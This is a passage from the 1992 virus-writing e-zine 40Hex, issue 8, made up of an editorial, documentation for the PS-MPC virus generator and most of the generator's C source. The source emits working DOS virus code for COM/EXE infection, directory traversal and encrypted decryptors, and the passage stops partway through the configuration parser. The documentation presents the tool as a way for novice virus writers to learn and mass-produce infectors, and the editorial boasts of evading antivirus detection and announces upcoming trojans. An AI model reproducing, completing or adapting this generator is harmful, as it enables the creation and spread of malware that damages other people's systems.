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-=-=-=-=-=-=-
I don't want anybody complaining about not being able to compile the PS-MPC
utility in 40Hex-8, so listen close. You must set the "unsigned chars" option
on in order for the utility to compile properly. It is in the Options/Compile
menu. Spread the word along with 40Hex...
--- Telegard v2.5k Standard
* Origin: LandFill BBS (242:914/2.0)
40Hex Number 8 Volume 2 Issue 4 File 000
Welcome to 40 Hex issue 8. First off, this month is going to be
Boot Sector Appreciation Month at 40Hex. We will have a fully
disassembled Michelangelo, along with a Pakistani Brain variant called
Ashar. But as always, there is a lot of other news that I have to
discuss with all you, so on with the show.
For the last couple months, we have recieved quite a bad rap on
Fidonet. This has to do with the original SKISM Viruses (Like SKISM
1-14). Like everyone, we had to start somewhere. So what if our
original virii blew large goats. Judge us on some of our newer stuff.
Oh, what is this you say? You can't find our newer stuff? Well,
neither can McAfee. Everyone will become enlightened soon enough.
Other people on Fido who have been giving us a hard time, think it
bothers us? Think again, we love it! One of our personal favorites is
Gary Watson, who amuses us with each new post, and Tag Line (which are
hysterical).
Secondly, Hellraiser is back as an author for 40Hex! He currently
doesn't have a modem, but he can at least do some slave work. Great to
have you back HR.
Another way in which 40Hex is going to help support virus community
is by the brand new PHALCON/SKISM Macintosh Programming Team! The four
people involved in that are Renegade, Sixo, Trojan, and Wintermute!
They will be cranking out a lot of quality Macintosh utilities, trojans
and other interesting things very soon! Look for them on all of our
BBS's.
-=PHALCON/SKISM=- Net will be arriving to a BBS near you very soon.
If you are interested, leave mail to any one of our fine support
systems.
40Hex-8 Table of contents
40Hex-8.000......................You Are Here!
40Hex-8.001......................PS-MPC (MassProducedCode)
40Hex-8.002......................Putav, an expose!
40Hex-8.003......................Findav -P/S- Style
40Hex-8.004......................Checkav -P/S- Original
40Hex-8.005......................StarShip Virus Info
40Hex-8.006......................Virus Spotlite: Michelangelo
40Hex-8.007......................EXE Infectors and you
40Hex-8.008......................Disassembly of ASHAR
40Hex-8.009......................Ear-6 source en Espa?ol
40Hex-8.010......................Letter to the Editor
Greetings to: The new and improved [NuKE], FirstStrike, Apache
Warrior, all PHALCON/SKISM Members, Backstabbers and everyone else we
forgot to greet!
-)GHeap
40Hex Number 8 Volume 2 Issue 4 File 001
Once again, -=PHALCON/SKISM=- pisses off the PD scene. Now anyone
can make their own virus, and give it to Gary Watson, the only guy on
Fidonet who we love. Without him, we would never get the fame that we
now covet so greatly. Well, that is until we got our official Pepsi
Gotta Have It Cards. Thank you Gary.
-) Gheap
----------------------------- Docs -n- code begin -----------------------------
PS-MPC
Pretty Slick Multimedia Personal Computer
(NOT)
Phalcon/Skism Mass-Produced Code Generator 0.90?
Created by Dark Angel
TABLE OF CONTENTS
TABLE OF CONTENTS i
DEDICATION i
DISCLAIMER ii
PURPOSE ii
WHAT IS THE PS-MPC? 1
USING THE PS-MPC 1
NO ACTIVATION ROUTINES 1
WHY NO IDE 2
SOURCE CODE AVAILABILITY 2
PROBLEMS 2
FUTURE ENHANCEMENTS 2
HISTORY OF VIRUS TOOLKITS A
DEDICATION
The author hereby releases this program and its source code into the
public domain as "freeware." All code generated by the program must,
however, retain the designation of said program, although all other parts
may be modified at the user's discretion. The author dedicates this
program to both the virus and anti-virus communities, both of which profit
from the introduction of the Phalcon/Skism Mass-Produced Code Generator.
Thanks are due to NoWhere Man for his excellent program VCL, which
served as the inspiration for this package.
PS-MPC Documentation - i - Phalcon/Skism 1992
DISCLAIMER
This program may cause either the intentional or unintentional
disruption of normal brain wave activity of the user due to the extreme
shock quality of the program. The author hereby absolves himself of all
liability. Persons with pacemakers beware!
The code produced by the Phalcon/Skism Mass-Produced Code Generator
is not designed to be damaging; however, the author is not responsible for
incidental damages caused by use of the program. Further, the author is
not responsible for damages caused by changes to the code generated by the
PS-MPC. The author does not condone the illegal spread of executable code
created in part or in whole by the PS-MPC. All source code and executable
files created with the aid of the PS-MPC must be distributed with the reci-
pient's full knowledge of the contents. Malicious use of the code is
strictly prohibited.
PURPOSE
The Phalcon/Skism Mass-Produced Code Generator is not designed to
create malicious code; rather, it is a learning tool from which a person
may learn to write effective viral code. The code generated by the PS-MPC
is highly optimised for both size and speed and is therefore the code
generated can be used by the fledgling virus writer as a model for future
endeavours.
PS-MPC Documentation - ii - Phalcon/Skism 1992
WHAT IS THE PS-MPC?
The Phalcon/Skism Mass-Produced Code Generator is a tool which
generates viral code according to user-designated specifications. The
output is in Masm/Tasm-compatible Intel 8086 assembly and it is up to the
user to assemble the output into working executable form. The features of
the PS-MPC include the following:
o Over 150 encryption techniques, randomly generated during each run of
the PS-MPC
o Compact, commented code, much tighter than VCL
o COM/EXE infections
o Two types of traversals
o Optional infection of Command.Com
o Critical error handler support
USING THE PS-MPC
The syntax of the PS-MPC is simple:
PS-MPC <file1> <file2> <file3>...
The parameters given to the PS-MPC are the names of the configuration
files. For example, to create two separate viruses using the configuration
files FOOBAR1.CFG and FOOBAR2.CFG, simply type "PS-MPC FOOBAR1.CFG
FOOBAR2.CFG" at the prompt.
The configuration file is a text file containing a set of parameters
which define the output of the PS-MPC. A sample configuration file,
SKELETON.CFG is included with the package. This configuration file
contains all the acceptable parameters that the PS-MPC will accept. It
also includes the defaults to each of these parameters. The configuration
file is self-explanatory, so there is no need to go into further detail at
this time.
When the Generator has completed creating the source code file/s,
simply assemble the output file/s with your favorite assembler/linker
combination. A multi-pass assembler is recommended. Masm is a poor choice
for an assembler; try Tasm. Masm requires the code to include extra
segment overrides which unnecessarily add to the code length. Masm 6.0 may
fix these problems (I'm not sure since I don't have it). Tasm, on the
other hand, is an excellent, fast, multipass assembler far superior to
Masm.
NO ACTIVATION ROUTINES
I have not included any activation routines in the package simply
because I do not think the power of creating potentially-destructive
viruses should be in the hands of persons incapable of coding a simple
activation routine in assembly. If you can rip a simple FAT-annihilator
out of another trojan, then I cannot stop you from doing so. But just
remember that the most memorable viruses are not necessarily those that
cause the most damage, but are usually those that have unusual activation
routines.
Upon finding activation conditions, the PS-MPC will generate a short
stub for the activation routine. This is located immediately after the
code for the restoration of the executable files. It is identified by the
label "activate" and is followed by a return. Insert your own activation
routine between those two lines.
PS-MPC Documentation - 1 - Phalcon/Skism 1992
WHY NO IDE (Integrated Development Environment)
Everyone agrees that Microsoft Windows is for cripples. Obviously,
you, the user of the PS-MPC, are no cripple, so you need no puny IDE with
colourful, deluxe windows to aid you. If you are a cripple, go ahead and
create the configuration file in your favorite Windows text editor. Hell,
port the code to the Macintosh and you can be truly crippled (although
you'll have your pretty windows and icons).
SOURCE CODE AVAILABILITY
This program is distributed with full source code. Although the
source should be self-explanatory, I have gone back and commented several
portions in order to facilitate understanding. The program was written in
Turbo C 2.0 and compiled in the tiny memory model. I trust that you will
not hack this program and call it your own. Source code is available only
because I think it will aid in your understanding of the program.
PROBLEMS
This program was written hastily. The bulk of the coding was
completed in under two days. Features were added by the process of
accretion during the following week. Needless to say, the code is now
extremely unmanageable. If there is enough interest in the package, I will
rewrite it in order to alleviate the strain caused in maintaining such
code. This will help in adding features as the need arises.
There MAY be some bugs in this version since it hasn't been thoroughly
tested yet. Report all bugs to me (duh). Be sure to save the configuration
file of the faulty code so the bug may be reproduced. Better yet, find the
problem, fix the C source, and send it to me. Zowie!
FUTURE ENHANCEMENTS
As you may have already noticed, this is a pre-1.0 release version of
the Generator. There are several features which I wish to add before
version 1.0. These include, but are not limited to, resident viruses,
padded-EXE infections (shorter routine), and better documentation(!). A
few surprises will be thrown in as well. I do not plan on increasing the
size of the PS-MPC.COM file dramatically, so with every addition will come
code to keep the increase in file size to a minimum. I do not intend to
devote too much time to the project as I personally don't actually use the
generator to spew out code for the group.
Note: The version included with 40Hex-8 is not the latest version. Due to
space considerations, we could not include the source code to version 0.91?
which is somewhat larger.
PS-MPC Documentation - 2 - Phalcon/Skism 1992
HISTORY OF VIRUS TOOLKITS
The first known virus toolkit was called VCS, or Virus Construction
Set. This program generated a new virus each time it was run. However,
there were no code differences at all between any two viruses generated by
VCS. All viruses generated were 1077 bytes in length and all could be
detected with the identical scan string. The advantage in this approach
was that the user needed absolutely no knowledge of 8086 assembly to take
advantage of this program. This program of limited usefulness spawned only
one well-known variant called Manta. It is not even worth mentioning here.
The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation
Engine (MtE). This magnificent work of Bulgarian coding allowed virus
authors to create viruses with an almost limitless number of decryption
routines. Although the author needed to know how to write 8086 assembly
code, no knowledge of the inner workings of MtE save the entry parameters
was needed to use this toolkit. It has since spawned several viruses,
including Dedicated, Pogue, Fear, and Groove.
The next virus toolkit to be released was VCL, or Virus Construction
Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed
the user many options, including the creation of parasitic COM infectors,
spawning EXE infectors, trojan horses and logic bombs. Since it could only
handle parasitic infections of the COM file format, it was of limited
usefulness. Additionally, it incorporated only one decryption formula,
once again limiting its usefulness. Further, the initial release included
a quirky installation program which failed to install properly under
certain conditions. However, this package contained a colourful IDE
loosely based on the Borland interface. This IDE was incredibly simple to
use and even the average Joe could understand how to use it without
understanding 80x86 assembly. Unfortunately, the activation routines
included with the package were of limited usefulness. Most of these
involved manipulating the BIOS memory area at segment 40h.
PS-MPC Documentation - A - Phalcon/Skism 1992
------------------------------ Source code begins -----------------------------
/* FILE: VHEADER.H */
#ifndef __VHEADER_H
#define __VHEADER_H
/* infect */
#define COM 1
#define EXE 2
/* traverse */
#define NONE 0
#define DOT_DOT 1
typedef struct {
char always;
char number;
char month;
char day;
int year;
char dow;
int monthday;
char hour;
char minute;
char second;
char percentage;
} activation_conditions;
typedef struct {
unsigned infectCOM : 1;
unsigned infectEXE : 1;
unsigned traverse : 1; /* Currently only two types */
unsigned encrypt : 1;
unsigned int24 : 1;
unsigned CommandCom : 1;
unsigned allowzero : 1;
unsigned calls_check : 1;
} parameters;
typedef struct {
char configfilename[80];
char asmfilename[80];
char id[3];
char virusname[80];
char virusnamedelim;
char authorname[80];
char authornamedelim;
unsigned minsize, maxsize;
char maxinfect;
parameters p;
char xor_value;
char xor_comment[40];
char activation;
activation_conditions activate, plusminus;
} globals;
/* prototypes from vmain.c */
void print(char *s, char *t);
void printlabel(char *s, char *t);
void addvar(char *s, char *t, char *u);
void printblank(void);
/* prototypes from vheap.c */
void addheap(char *s, char *t, char *u);
void _addheap(char *s);
void resetheap(void);
/* code generating prototypes */
void code_header(void);
void code_encryption(void);
void code_setup(void);
void code_traversal(void);
void code_check_activation(void);
void code_return(void);
void code_activate(void);
void code_messages(void);
void code_check(void);
void code_infect(void);
void code_subroutines(void);
void code_variables(void);
void code_heap(void);
void code_tail(void);
#ifndef MAIN
extern globals config;
#endif
#endif /* __VHEADER_H */
----------------------------------- Cut Here ----------------------------------
/* FILE: VACTIVE.C */
#include "vheader.h"
void code_activate(void)
{
if (config.activation)
{
printlabel("activate:","Conditions satisfied");
printlabel("; Insert your activation code here","");
print("jmp exit_virus","");
printblank();
}
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VCACTIVE.C */
#include "vheader.h"
void code_get_date(void);
void code_get_time(void);
void code_jmp(char c);
char coded_date, coded_time, Activation;
void code_check_activation(void)
{
char b[80];
coded_date = coded_time = 0;
Activation = config.activation;
if (config.activate.always)
printlabel("jmp activate","Always activate");
else {
if (config.activate.month) {
code_get_date();
sprintf(b,"cmp dh,%d",config.activate.month);
print(b,"Check month");
code_jmp(config.plusminus.month);
}
if (config.activate.day) {
code_get_date();
sprintf(b,"cmp dl,%d",config.activate.day);
print(b,"Check date");
code_jmp(config.plusminus.day);
}
if (config.activate.year) {
code_get_date();
sprintf(b,"cmp cx,%u",config.activate.year);
print(b,"Check year");
code_jmp(config.plusminus.year);
}
if (config.activate.dow != 255) {
code_get_date();
sprintf(b,"cmp al,%d",config.activate.dow);
print(b,"Check date of week");
code_jmp(config.plusminus.dow);
}
if (config.activate.monthday) {
code_get_date();
sprintf(b,"cmp dx,0%xuh",config.activate.monthday);
print(b,"Check month/date");
code_jmp(config.plusminus.monthday);
}
if (coded_date) printblank();
if (config.activate.hour != 255) {
code_get_time();
sprintf(b,"cmp ch,%d",config.activate.hour);
print(b,"Check the hour");
code_jmp(config.plusminus.hour);
}
if (config.activate.minute != 255) {
code_get_time();
sprintf(b,"cmp cl,%d",config.activate.minute);
print(b,"Check the minute");
code_jmp(config.plusminus.minute);
}
if (config.activate.second != 255) {
code_get_time();
sprintf(b,"cmp dh,%d",config.activate.second);
print(b,"Check the seconds");
code_jmp(config.plusminus.second);
}
if (config.activate.percentage) {
code_get_time();
sprintf(b,"cmp dl,%d",config.activate.percentage);
print(b,"Check the percentage");
code_jmp(-1);
if (coded_time) printblank();
}
}
}
void code_jmp(char c)
{
if (--Activation) {
if (c == 1)
print("jb exit_virus","");
else if (c == 0)
print("jnz exit_virus","");
else if (c == 255)
print("ja exit_virus","");
} else {
if (c == 1)
print("jae config.activate","");
else if (c == 0)
print("jz config.activate","");
else if (c == 255)
print("jbe config.activate","");
}
}
void code_get_date(void)
{
if (!coded_date) {
print("mov ah,2ah","Get current date");
print("int 21h","");
coded_date++;
}
}
void code_get_time(void)
{
if (!coded_time) {
print("mov ah,2ch","Get current time");
print("int 21h","");
coded_time++;
}
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VCHECK.C */
#include "vheader.h"
void checkCOM(void);
void code_check(void)
{
if (config.p.calls_check)
printlabel("infect_mask:","");
print("mov ah,4eh","find first file");
print("mov cx,7","any attribute");
printlabel("findfirstnext:","");
print("int 21h","DS:DX points to mask");
if (config.p.calls_check)
print("jc exit_infect_mask","No mo files found");
else
print("jc done_infections","No mo files found");
printblank();
print("mov al,0h","Open read only");
print("call open","");
printblank();
print("mov ah,3fh","Read file to buffer");
print("lea dx,[bp+buffer]","@ DS:DX");
print("mov cx,1Ah","1Ah bytes");
print("int 21h","");
printblank();
print("mov ah,3eh","Close file");
print("int 21h","");
printblank();
if (config.p.infectEXE) {
if (config.p.infectCOM) {
print("cmp word ptr [bp+buffer],'ZM'","EXE?");
print("jz checkEXE","Why yes, yes it is!");
checkCOM();
}
printlabel("checkEXE: cmp word ptr [bp+buffer+10h],id","is it already infected?");
print("jnz infect_exe","");
} else
checkCOM();
printlabel("find_next:","");
print("mov ah,4fh","find next file");
print("jmp short findfirstnext","");
if (config.p.calls_check) {
printlabel("exit_infect_mask: ret","");
printblank();
}
}
void checkCOM(void)
{
char s[80];
printlabel("checkCOM:","");
if (!config.p.CommandCom)
{
print("mov ax,word ptr [bp+newDTA+35]","Get tail of filename");
print("cmp ax,'DN'","Ends in ND? (commaND)");
print("jz find_next","");
printblank();
}
print("mov ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA");
if (config.minsize)
{
if (config.minsize == 1) /* automatic calculation */
if (config.p.encrypt)
strcpy(s,"cmp ax,(heap-decrypt)");
else
strcpy(s,"cmp ax,(heap-startvirus)");
else /* if (minsize != 1) */
sprintf(s,"cmp ax,%u",config.minsize);
print(s,"Is it too small?");
print("jb find_next","");
printblank();
}
if (config.maxsize)
{
if (config.maxsize == 1) /* automatic calculation */
if (config.p.encrypt)
strcpy(s,"cmp ax,65535-(endheap-decrypt)");
else
strcpy(s,"cmp ax,65535-(endheap-startvirus)");
else
sprintf(s,"cmp ax,%u",config.maxsize);
print(s,"Is it too large?");
print("ja find_next","");
printblank();
}
print("mov bx,word ptr [bp+buffer+1]","get jmp location");
if (config.p.encrypt)
print("add bx,heap-decrypt+3","Adjust for virus size");
else
print("add bx,heap-startvirus+3","Adjust for virus size");
print("cmp ax,bx","");
print("je find_next","already infected");
print("jmp infect_com","");
}
----------------------------------- Cut Here ----------------------------------
/* VENCRYPT.C */
#include <stdlib.h>
#include "vheader.h"
void code_loop_count(void);
void code_loop_start(void);
void code_decrypt_code(void);
char mem_counter;
char mem_registers[4][3] = {
"bx",
"bp",
"si",
"di"
};
char loop_counter;
char loop_registers[7][3] = {
"ax", "bx", "cx", "dx", "bp", "si", "di"
};
char xor_registers[4][2] = {
{ 0x81, 0x37 },
{ 0x81, 0x76 },
{ 0x81, 0x34 },
{ 0x81, 0x35 }
};
char add_registers[4][2] = {
{ 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh */
{ 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */
{ 0x81, 0x04 },
{ 0x81, 0x05 },
};
void code_encryption(void)
{
if (config.p.encrypt) {
srand(peek(0,0x46C));
printlabel("decrypt:","handles encryption and decryption");
if ((loop_counter = random(10)) > 6) /* if out of bounds */
loop_counter = 2; /* set it = to cx */
while (1) {
mem_counter = random(4);
if (strcmp(mem_registers[mem_counter = random(4)],
loop_registers[loop_counter]))
break;
}
if (random(2)) {
code_loop_count();
code_loop_start();
} else {
code_loop_start();
code_loop_count();
}
code_decrypt_code();
}
}
void code_loop_count(void)
{
char b[80];
sprintf(b,"mov %s,(offset heap - offset startencrypt)/2",
loop_registers[loop_counter]);
print(b,"iterations");
}
void code_loop_start(void)
{
char b[80];
printlabel("patch_startencrypt:","");
sprintf(b,"mov %s,offset startencrypt",
mem_registers[mem_counter]);
print(b,"start of decryption");
}
void code_decrypt_code(void)
{
char b[80],c[80];
printlabel("decrypt_loop:","");
config.xor_value = 0;
switch (random(2))
{
case 0 : sprintf(b,"db %s%2.2xh,%2.2xh%s",
(config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0],
xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
sprintf(c,"xor word ptr %s[%s], xxxx",
(config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
break;
case 1 : sprintf(b,"db %s%2.2xh,%2.2xh%s",
(config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0],
add_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
sprintf(c,"add word ptr %s[%s], xxxx",
(config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
config.xor_value = 0x28;
strcpy(config.xor_comment,"flip between add/sub");
break;
}
print(b,c);
printlabel("decrypt_value dw 0","initialised at zero for null effect");
sprintf(c,"inc %s",mem_registers[mem_counter]);
print(c,"calculate new decryption location");
print(c,"");
if (loop_counter - 2)
{
sprintf(b,"dec %s",loop_registers[loop_counter]);
print(b,"If we are not done, then");
print("jnz decrypt_loop","decrypt mo'");
} else
print("loop decrypt_loop","decrypt mo'");
printlabel("startencrypt:","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VHEADER.C */
#include "vheader.h"
void code_header(void)
{
char b[80];
sprintf(b,"; %s : %s by %s",config.asmfilename,
(config.virusname[0]) ? config.virusname : "Unknown",
(config.authorname[0])? config.authorname: "Unknown");
printlabel(b,"");
printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator","");
sprintf(b,"; from the configuration file %s",config.configfilename);
printlabel(b,"");
printblank();
printlabel(".model tiny","Handy directive");
printlabel(".code","Virus code segment");
print("org 100h","COM file starting IP\n");
if (config.p.infectEXE)
{
sprintf(b,"id = '%s'",config.id);
printlabel(b,"ID word for EXE infections");
}
if (config.p.infectCOM)
if (config.p.encrypt)
printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
else
printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
printblank();
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VHEAP.C */
#include "vheader.h"
char heap[30][80];
char max;
void code_heap(void)
{
printlabel("heap:","Variables not in code");
if (max)
while (max--)
printlabel(heap[max],"");
else
printlabel("; No heap to speak of","");
printlabel("endheap:","End of virus");
}
void addheap(char *s, char *t, char *u)
{
if (*u)
sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
else
sprintf(heap[max++],"%-20.20s%s",s,t);
}
void _addheap(char *s)
{
strcpy(heap[max++],s);
}
void resetheap(void)
{
max=0;
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VINFECT.C */
#include "vheader.h"
void write_encrypt(void);
void code_infect_EXE(void);
void code_infect(void)
{
if (config.p.infectEXE) {
printlabel("infect_exe:","");
code_infect_EXE();
if (config.p.infectCOM)
print("jmp short finishinfection","");
}
if (config.p.infectCOM) {
printlabel("infect_com:","ax = filesize");
print("mov cx,3","");
print("sub ax,cx","");
print("lea si,[bp+offset buffer]","");
print("lea di,[bp+offset save3]","");
print("movsw","");
print("movsb","");
print("mov byte ptr [si-3],0e9h","");
print("mov word ptr [si-2],ax","");
if (config.p.encrypt)
{
print("add ax,103h","");
print("push ax","needed later");
}
}
printlabel("finishinfection:","");
print("push cx","Save # bytes to write");
print("xor cx,cx","Clear attributes");
print("call attributes","Set file attributes");
printblank();
print("mov al,2","");
print("call open","");
printblank();
print("mov ah,40h","Write to file");
print("lea dx,[bp+buffer]","Write from buffer");
print("pop cx","cx bytes");
print("int 21h","");
printblank();
print("mov ax,4202h","Move file pointer");
print("xor cx,cx","to end of file");
print("cwd","xor dx,dx");
print("int 21h","");
printblank();
if (config.p.encrypt) {
write_encrypt();
} else {
print("mov ah,40h","Concatenate virus");
print("lea dx,[bp+startvirus]","");
print("mov cx,heap-startvirus","# bytes to write");
print("int 21h","");
printblank();
}
print("mov ax,5701h","Restore creation date/time");
print("mov cx,word ptr [bp+newDTA+16h]","time");
print("mov dx,word ptr [bp+newDTA+18h]","date");
print("int 21h","");
printblank();
print("mov ah,3eh","Close file");
print("int 21h","");
printblank();
print("mov ch,0","");
print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
print("call attributes","attributes");
printblank();
if (config.maxinfect)
{
print("dec byte ptr [bp+numinfec]","One mo infection");
print("jnz mo_infections","Not enough");
if (config.p.calls_check)
print("pop ax","remove call from stack");
print("jmp done_infections","");
}
printlabel("mo_infections: jmp find_next","");
printblank();
}
void write_encrypt(void)
{
if (!config.p.allowzero)
printlabel("get_encrypt_value:","");
print("mov ah,2ch","Get current time");
print("int 21h","dh=sec,dl=1/100 sec");
if (!config.p.allowzero) {
print("or dx,dx","Check if encryption value = 0");
print("jz get_encrypt_value","Get another if it is");
}
print("mov [bp+decrypt_value],dx","Set new encryption value");
addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)","");
_addheap("; The following code is the buffer for the write function");
print("lea di,[bp+code_store]","");
print("mov ax,5355h","push bp,push bx");
print("stosw","");
print("lea si,[bp+decrypt]","Copy encryption function");
print("mov cx,startencrypt-decrypt","Bytes to move");
print("push si","Save for later use");
print("push cx","");
print("rep movsb","");
printblank();
if (config.xor_value)
{
char b[80];
sprintf(b,"xor byte ptr [bp+decrypt_loop+%c],0%2.2xh",
(config.p.infectEXE) ? '2' : '1', config.xor_value);
print(b,config.xor_comment);
printblank();
}
print("lea si,[bp+write]","Copy writing function");
print("mov cx,endwrite-write","Bytes to move");
print("rep movsb","");
print("pop cx","");
print("pop si","");
print("pop dx","Entry point of virus");
print("push di","");
print("push si","");
print("push cx","");
print("rep movsb","Copy decryption function");
print("mov ax,5b5dh","pop bx,pop bp");
print("stosw","");
print("mov al,0c3h","retn");
print("stosb","");
printblank();
print("add dx,offset startencrypt - offset decrypt","Calculate new");
print("mov word ptr [bp+patch_startencrypt+1],dx","starting offset of");
print("call code_store","decryption");
print("pop cx","");
print("pop di","");
print("pop si","");
print("rep movsb","Restore decryption function");
printblank();
}
void code_infect_EXE(void)
{
print("les ax, dword ptr [bp+buffer+14h]","Save old entry point");
print("mov word ptr [bp+jmpsave2], ax","");
print("mov word ptr [bp+jmpsave2+2], es","");
printblank();
print("les ax, dword ptr [bp+buffer+0Eh]","Save old stack");
print("mov word ptr [bp+stacksave2], es","");
print("mov word ptr [bp+stacksave2+2], ax","");
printblank();
print("mov ax, word ptr [bp+buffer + 8]","Get header size");
print("mov cl, 4","convert to bytes");
print("shl ax, cl","");
print("xchg ax, bx","");
printblank();
print("les ax, [bp+offset newDTA+26]","Get file size");
print("mov dx, es","to DX:AX");
print("push ax","");
print("push dx","");
printblank();
print("sub ax, bx","Subtract header size from");
print("sbb dx, 0","file size");
printblank();
print("mov cx, 10h","Convert to segment:offset");
print("div cx","form");
printblank();
print("mov word ptr [bp+buffer+14h], dx","New entry point");
print("mov word ptr [bp+buffer+16h], ax","");
printblank();
print("mov word ptr [bp+buffer+0Eh], ax","and stack");
print("mov word ptr [bp+buffer+10h], id","");
printblank();
print("pop dx","get file length");
print("pop ax","");
printblank();
if (config.p.encrypt)
print("add ax, heap-decrypt","add virus size");
else
print("add ax, heap-startvirus","add virus size");
print("adc dx, 0","");
printblank();
print("mov cl, 9","");
print("push ax","");
print("shr ax, cl","");
print("ror dx, cl","");
print("stc","");
print("adc dx, ax","");
print("pop ax","");
print("and ah, 1","mod 512");
printblank();
print("mov word ptr [bp+buffer+4], dx","new file size");
print("mov word ptr [bp+buffer+2], ax","");
printblank();
print("push cs","restore ES");
print("pop es","");
printblank();
if (config.p.encrypt)
print("push word ptr [bp+buffer+14h]","needed later");
print("mov cx, 1ah","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VMAIN.C */
/* The Phalcon/Skism Mass-Produced Code Generator *
* Version 0.90? - 27 Jul 92 - Initial Release *
* Written by Dark Angel of Phalcon/Skism *
* Source code released with 40Hex-8 *
*/
#include <stdio.h>
#define MAIN
#include "vheader.h"
#undef MAIN
globals config;
void parse_config(void);
unsigned getnumber(int line, char *d, char ok, char *next);
char getyn(int line, char *d);
void setplusminus(char *a, char b);
void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s);
void printerror(int line, char c);
void getDBname(char *orig, char *name,char *delim);
FILE *fp;
void main(int argc, char **argv)
{
char c,filename[80];
puts("PS-MPC ? Phalcon/Skism Mass Produced Code Generator");
puts(" ? Version 0.90? Written by Dark Angel\n");
if (argc < 2)
{
puts("Syntax: PS-MPC <file1> <file2> ...");
puts(" file1 = name of first configuration file");
puts(" file2 = name of second configuration file");
}
for (c=1;c<argc;c++)
{
if ((fp = fopen(argv[c],"rt")) == NULL)
{
printf("Error opening configuration file (%s).\n",argv[c]);
puts("Skipping file...");
continue;
}
printf("Reading configuration file (%s)...",argv[c]);
resetheap();
parse_config();
strcpy(config.configfilename,argv[c]);
fclose(fp);
puts("Done!");
if (!config.p.infectCOM && !config.p.infectEXE) {
puts("Warning: Virus does not infect any type of file.");
puts("Remedy: Use the \"infect\" parameter in the configuration file.");
puts("Skipping file...");
continue;
}
if (!config.asmfilename[0]) {
puts("Warning: No target file name specified.");
puts("Remedy: Use the \"filename\" parameter in the configuration file.");
puts("Skipping file...");
continue;
}
if ((fp = fopen(config.asmfilename,"wt")) == NULL)
{
printf("Error opening target file (%s).\n",config.asmfilename);
puts("Skipping file...");
continue;
}
printf("Creating target file (%s)...",config.asmfilename);
code_header();
code_encryption();
code_setup();
code_traversal();
code_check_activation();
code_return();
code_activate();
code_messages();
if (config.p.calls_check)
code_check();
code_infect();
code_subroutines();
code_variables();
code_heap();
code_tail();
fclose(fp);
puts("Done!");
}
puts("\nThank you for using the Phalcon/Skism Mass Produced Code Generator");
exit(0);
}
void print(char *s, char *t)
{
char b[80];
sprintf(b," %s",s);
printlabel(b,t);
}
void printlabel(char *s, char *t)
{
int i = 0;
if (*s)
if (*t) {
i = fprintf(fp,"%-40s",s);
if (i > 40)
fputc(' ',fp);
fprintf(fp,"; %s",t);
} else /* if (*t) */
fprintf(fp,s);
fprintf(fp,"\n");
}
void addvar(char *s, char *t, char *u)
{
char b[80];
if (*u)
sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
else
sprintf(b,"%-20.20s%s",s,t);
printlabel(b,"");
}
void parse_config(void)
{
char b[80];
char *c, *d;
int line = 0;
globals default_globals = {
"", /* Configuration file name */
"", /* Source code file name */
" ", /* EXE ID Word */
"", /* Virus name */
'\'', /* Deliminator for virus name */
"", /* Author name */
'\'', /* Deliminator for author name */
0, /* Minimum COM size for infection */
0, /* Maximum COM size for infection */
0, /* Infections per run */
{ 0,0,NONE,0,0,0,0 }, /* flags */
0, /* xor value */
"", /* xor comment */
0, /* number of activation conditions */
{ 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions */
{ 0,0,0,0,0, 0,0, 0, 0, 0,-1} /* plusminus activation conditions */
};
config = default_globals;
while (1)
{
line++;
b[0]=0;
c = fgets(b,100,fp);
if (!b[0])
break;
while (isspace(*c)) c++; /* skip initial spaces */
if (!*c || *c == ';') continue; // check if this line is a comment
d = c;
while (!isspace(*d)) d++; /* isolate one word */
*d++ = 0; /* NULL terminate it */
while (isspace(*d) || (*d == '=')) d++;
if (!stricmp(c,"filename"))
{
c = d;
while (!isspace(*d)) d++; /* isolate filename */
*d = 0;
strcpy(config.asmfilename,c);
}
else if (!stricmp(c,"traversal"))
switch (toupper(*d))
{
case 'N' : config.p.traverse = NONE; break;
case 'D' : config.p.traverse = DOT_DOT; break;
default : printerror(line,*d);
}
else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);
else if (!stricmp(c,"infect")) {
while (!isspace(*d)) {
switch (toupper(*d))
{
case 'C' : config.p.infectCOM = 1; break;
case 'E' : config.p.infectEXE = 1; break;
case ',' : break;
default : printerror(line,*d);
}
d++;
}
}
else if (!stricmp(c,"idword")) {
config.id[0] = (isspace(*d)) ? ' ' : *d;
config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
config.id[2]=0;
}
else if (!stricmp(c,"minsize")) {
if (toupper(*d) == 'A')
config.minsize = 1;
else {
config.minsize = getnumber(line,d,0,0);
if (config.maxsize > 1)
if (config.minsize > config.maxsize)
puts("Error: minsize is greater than maxsize!");
}
}
else if (!stricmp(c,"maxsize")) {
if (toupper(*d) == 'A')
config.maxsize = 1;
else {
config.maxsize = getnumber(line,d,0,0);
if (config.minsize > 1)
if (config.maxsize < config.minsize)
printf("Error: minsize is greater than maxsize!\n");
}
}
else if (!stricmp(c,"infections"))
